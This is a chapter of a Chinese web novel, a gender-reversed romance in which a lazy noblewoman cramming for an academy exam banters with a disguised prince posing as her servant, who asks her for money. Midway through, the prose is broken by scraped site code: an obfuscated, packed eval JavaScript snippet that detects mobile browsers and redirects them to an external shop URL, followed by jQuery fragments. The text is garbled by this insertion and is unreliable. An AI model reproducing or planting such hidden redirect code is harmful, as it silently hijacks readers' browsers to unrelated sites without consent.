7. 要钱
    翌日一早,沈周宁睡得正香,锣鼓声在耳旁炸开,她从睡梦中惊醒,被吓了一跳。

    睁开眼就看到齐慕清站在床边面容冷峻,看她醒来,抱了一旁的书本塞她怀里。

    “娘子今日先把这些通读,然后背下这些文章词句,时不我待,娘子快些起身吧。”

    沈周宁没睡醒,脸色茫然,有些美梦被扰的不悦,怀中是一本算不上厚的论语,她随手抽出,看上头有未干的墨迹,出声道,“这是你一画的?”

    要求不算多,齐慕清笑道:“为了保证娘子能够顺利进入书院,还请娘子务必按照我的要求来。”

    书院考试到底不是正经科举,其难度虽远超寻常书院,只收有基础的学子,但也不是齐慕清这样不学无术的人能考上的。

    别的不说,就那贴经默义,没有扎实的背过怎么可能答对?

    如今他也只能临时补补,记住多少算多少,先把重点的背了。

    沈周宁向来惫懒,除了与玩有关的事都难得上心,对于打扰自己睡觉的人,她心里还是憋着气。

    书本随意丢在床上,她闭上眼睛就要再睡。

    齐慕清见状,再次敲响锣鼓。

    “啌哐”一声,沈周宁怒目坐起,“你想干什么啊?”

    齐慕清不为所动。

    书册再次递到眼前,看他一副不把她折腾起来不罢休的模样,沈周宁深吸了一口气,“伺候我起身。”

    合庆刚想上前,沈周宁指向齐慕清道:“让他来。”

    不让她安睡,沈周宁就忍不住想折腾他。

    两人视线对上,齐慕清败下阵来,走向一旁拿了衣裳来伺候她穿衣。

    看他一脸冷峻,似有不服却不得不照做,沈周宁心底的闷气消散了些,见他笨手笨脚的,出声道:“怎么伺候人都不会,改天跟合庆好好学学去。”

    齐慕清在她身后瞪了她一眼,前世今生他几时做过伺候人的活计,口中却应声道:“娘子说的是。”

    为了让她尽快开始读书,他忍了。

    系上腰带,戴上玉佩香囊,齐慕清手指松开,视线向上移动。

    沈周宁瞥了他一眼,看穿戴的差不多了就去洗漱。

    背书是个极为消耗身体的活动,所以必得吃饱喝足才行,磨磨蹭蹭到了半晌午,这才坐到桌前。

    齐慕清看着她快速翻阅书册,几乎用不了几分钟就过到下页,暗自摇了摇头。

    没有定力,不能抓紧时间背下些东西,只怕考核难过。

    到晌午,庄家下人送来几套衣裳,带话道,“我家主子说制衣花费时间较长,这几套衣裳是铺子里的存货,让小人先送过来。”

    沈周宁收下了,“你家主子倒是心思细腻,行了,劳你跑一趟,合庆。”

    合庆取了银子塞那人手中,把人送出门。

    那人显然没想到送个衣裳还能得到赏赐,出去时脸上的笑怎么都掩盖不住。

    齐慕清从后头出来,沈周宁把衣裳给他,说是铺子里的成衣,但料子很是不错,看着男子一身不合身的衣裳,她开口道:“整日穿的什么都是,真是白瞎了这张脸,去换上给你家主子看看。”

    所谓人靠衣装,有时候模样可以改变,气质却是最难藏的,换上华贵的衣裳,自然也更难藏了,他并不想换。

    “怎么,要我亲自伺候你穿衣吗?”

    齐慕清倒是想,但他不敢。

    “主子说笑了,卑贱之躯,哪里能劳动主子。”

    他把自己放的极低,沈周宁也没强求,看着他拿了衣裳回屋,手里再次翻起了书,这次,她翻阅的更快,不时抬起头默念几遍,很快就翻阅下一页。

    没有人知道其实她的记忆力极好,若是专心下来看过两三遍就能把内容给记下。

    以往待在侯府,武将门户,认些字也就是了。

    她纵情享乐,自然也不会专门去读书,家里头也不指望她去顶门立户,若非被三殿下刺激的狠了,她可能庸庸碌碌的也就过了一辈子了。

    如今被逼到这偏远小县城里头,亲朋好友都不在身边,若是不能弄出点名堂来,她是真没脸回去,也是因此她才会好脾气的配合着阿福。

    成与不成,总归也没有别的办法了。

    脑海中想着事情,脸色不自觉阴沉下来,齐慕清不知何时回来了,换了新衣裳,头发也重新束过,看到沈周宁出神,出声唤道:“娘子。”

    男子穿着一身青绿色交领平袖衣裳衬得肤色雪白,衣裳料子极好,衬得人华贵非常。

    腰间两条络子简单垂下勾勒出腰肢劲瘦,换上合身漂亮的衣裳后整个人都好似脱胎换骨,沈周宁看过后眼前一亮,动作变得缓慢。

    随着齐慕清心底一叹,有些紧张怕她生疑,只见沈周宁忽然道:“行个礼我看看。”

    男子行礼不同于女子,要躬身到底以示谦卑顺从,最显腰身。

    齐慕清看着女子眼中的复杂神色,心里知晓她这是想到了自己,以往每次遇上,他虽非故意,但身为皇族,她也不得不把礼数做全了。

    如今地位颠倒,齐慕清勾了勾唇角,施施然提起裙摆就要跪下,竟是要行起大礼。

    “你这是做什么?”沈周宁看着跪在身前的男子,漂亮的脸上没有丝毫不情愿,她却不由得有些心虚了。

    换了身衣裳,看着这张脸朝着她下跪,总觉得是在冒犯那位。

    两人如此相像,不知是否有什么关系,不过这性子倒是天差地别。

    齐慕清只当是哄着她,既能消了她心中郁气,又能让她不再生疑,一举两得。

    “娘子不是想要我跪吗?感念娘子恩德,娘子救我性命,我愿意跪。”他眸光盈盈,眼中带着不解。

    他实在温顺,沈周宁轻咳了一声,手指落在男子下颌,笑道:“就凭这张脸,你就不会有性命之忧,我也不过阴差阳错,算起来还是我赚了,白得一个美人。”

    “跟着娘子可比跟着那些人要好的多。”他蓦然道。

    这是实话,沈周宁再爱玩,对人却是真诚的,也不会无故轻贱于人,哪怕因着他这张脸也没有过分为难他,其他人未必能这般待他。

    自古以来因貌美而遭难之人数不胜数。

    沈周宁却好奇起来,看着他的眼睛想从中找到答案,“你当真这样认为?”

    这么多年以来,从来没有人觉得她身边会是好去处,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206499|150961||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她不学无术,就连家中下人都是紧着阿姐身边凑,人人都知道跟着她是没有前途的。

    她不能袭爵,也没本事进入官家眼中,以后顶多就是个富贵闲人。

    京中大家的郎君更是唯恐避她而不及,谈起亲事连爹都叹息,娘亲更是恨铁不成钢,亲事几番告吹,竟直接把她赶出来读书。

    就连玉华都投了三殿下。

    “自然。”

    沈周宁没有找到他眼中的虚假,此话应是出自他的真心,沈周宁高兴了,他还是第一个自己愿意跟着她的男人。

    “是我一眼看中了娘子,求着娘子收下我的,娘子该信我。”

    在那样的境地,他没有更好的选择。

    沈周宁显然也想起来了,她视线变得柔软,手指摩挲着男子耳垂,“是啊,你还说随我处置?”

    不知是因为羞耻还是因着揉搓的缘故变得很红,齐慕清侧开脸,小声提醒道:“娘子能通过书院考核。”

    沈周宁笑了笑,拉着他起身,“好,那就等到考核之后。”

    齐慕清眨了眨眼,直觉有什么不对,他们说的好像并不是一个事。

    看着沈周宁又去看书,他抿了抿嘴,犹疑的视线在女子身上扫了又扫。

    “虽说红袖添香,但阿福啊,你这样站在我身旁我实在很难专心。”

    齐慕清:“?”

    这话无异于在说他勾引她。

    “那我还是去换了从前的衣裳吧。”

    沈周宁拉住了他,白皙的手腕光滑柔软,她看了过去,“我喜欢看你穿这身。”

    齐慕清张了张口,被这般直白的说喜欢,纵然没有那个意思,也让他有些脸红。

    被抓紧的手腕有些疼,他挣扎了一下,沈周宁却挪开了他的手指,看着他手背上还留有细小的伤痕,给本就好看的手增添了几分颜色。

    她不仅没有松手,反而握住了他的手,笑道:“以后这样好看的衣裳,你都穿给我看。”

    齐慕清被她扯动,两人交握的手就在眼前,他眼珠转了转,笑着应道:“那娘子多与我些银钱做衣裳才是。”

    如果她考不上书院,他孤身回京危险重重,少不得银钱开路,雇些镖师也好,如今他身无分文,当真寸步难行。

    “还真是胆大了,都敢问我要钱了。”沈周宁笑了笑,钱财与她乃外物,向来不吝惜。

    一手取下腰间荷包只待递给他,看着他亮起的眼睛,又忽然收回,“给你也不是不行,不过我这荷包里银票不少,只是看你好像有些亏本了,除此之外我还能得什么好处?”

    “不若我扮成那位娘子讨厌的三殿下,全凭娘子差遣发泄?”

    沈周宁眯起眼睛,手上收紧,“你可知,亵渎帝卿是什么罪名?”

    齐慕清伸手向那个荷包,“主子可饶了我吧,我哪里懂什么罪名,不过是想讨主子欢心罢了,既然主子不愿,那便算了就是。”

    沈周宁听着这话,只觉得心口像是被什么戳了一下,软软的,原本有心想惩戒一二这胆大的小奴,如今竟丝毫不忍怪罪了。

    脸上更是止不住的笑,痛快的松了手上荷包。

    这话是有什么魔力吗?